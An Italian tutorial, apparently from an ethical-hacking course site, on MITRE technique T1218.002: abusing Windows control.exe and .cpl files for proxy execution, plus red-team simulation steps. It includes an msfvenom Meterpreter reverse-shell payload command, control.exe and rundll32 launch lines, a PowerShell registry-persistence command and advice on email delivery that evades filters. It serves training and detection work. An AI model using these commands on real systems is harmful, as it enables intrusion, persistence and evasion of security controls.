Abuso del Pannello di Controllo: Control Panel (T1218.002)

La tecnica T1218.002 sfrutta control.exe, il binario legittimo del Pannello di Controllo di Windows, come vettore di proxy execution per payload malevoli. Rientra nella tattica TA0005 (Defense Evasion) perché consente all'attaccante di eseguire codice attraverso un processo firmato Microsoft, aggirando controlli basati su reputazione e allow list applicative.

Gli elementi del Pannello di Controllo sono registrati come file .exe oppure .cpl: questi ultimi sono in realtà DLL rinominate che esportano la funzione CPlApplet. L'abuso avviene in più modi: consegna di CPL malevoli tramite phishing, esecuzione diretta da command line, chiamata API programmatica o semplice doppio clic. Poiché l'estensione .cpl è spesso esclusa da filtri di posta e allow list, rappresenta un canale privilegiato per il bypass.

Una variante particolarmente subdola prevede la registrazione di DLL arbitrarie sotto la chiave HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Anche quando queste librerie non esportano CPlApplet e non rispettano la specifica CPL, vengono caricate ed eseguite tramite DllEntryPoint all'avvio del Pannello di Controllo, garantendo esecuzione e persistenza in un'unica mossa.

Nella kill chain la tecnica si colloca tra Execution e Defense Evasion, spesso in fasi post-consegna di catene multi-stadio. Nei dati MITRE risultano due software associati: Reaver (S0172), che rilascia ed esegue un CPL malevolo come payload, e InvisiMole (S0260), che si registra per esecuzione e persistenza tramite il Pannello di Controllo.

Per simulare T1218.002 in un esercizio red team, il punto di partenza è la generazione di un file .cpl funzionante. Un CPL è tecnicamente una DLL con estensione modificata che esporta la funzione CPlApplet: qualsiasi toolchain in grado di compilare DLL Windows è sufficiente. Con MinGW su Linux o Visual Studio su Windows si compila una DLL con un entry point minimale e la si rinomina in .cpl.

La catena tipica prevede tre fasi. Prima, la creazione del payload: uno stub in C che implementa CPlApplet e, all'interno del case CPL_INIT o CPL_DBLCLK, invoca lo shellcode o un downloader. In alternativa, si sfrutta la variante che registra una DLL priva di CPlApplet sotto HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls, dove l'esecuzione avviene via DllEntryPoint.

Seconda fase, la consegna. In un contesto lab-safe si può testare l'inclusione del CPL in un archivio ISO o ZIP allegato a un'email interna di training, sfruttando il fatto che l'estensione .cpl raramente compare nelle blocklist di gateway di posta. Terza fase, l'esecuzione, che può avvenire in tre modi:

  • control.exe C:\Users\Public\payload.cpl
  • rundll32.exe shell32.dll,Control_RunDLL C:\Users\Public\payload.cpl
  • Doppio clic da parte dell'utente

Per generare payload in ambiente controllato, msfvenom (open source) del framework Metasploit supporta il formato DLL, che poi viene rinominato: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f dll -o payload.dll, seguito dalla rinomina in .cpl. In alternativa, Cobalt Strike (a pagamento) e Sliver (open source) offrono generazione nativa di DLL utilizzabili come CPL.

Per la registrazione persistente via registry, un comando PowerShell semplice è:

New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls" -Name "Updater" -Value "C:\Users\Public\payload.dll" -PropertyType String

Dal punto di vista dell'operatore red team, questa tecnica è preziosa perché control.exe è firmato Microsoft, presente ovunque e raramente monitorato con la stessa attenzione dedicata a rundll32 o regsvr32. Nel report finale è utile documentare quali EDR hanno intercettato la catena e quali si sono limitati a registrare l'evento senza bloccarlo, distinguendo la detection dei CPL da percorsi utente rispetto a quelli in System32.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.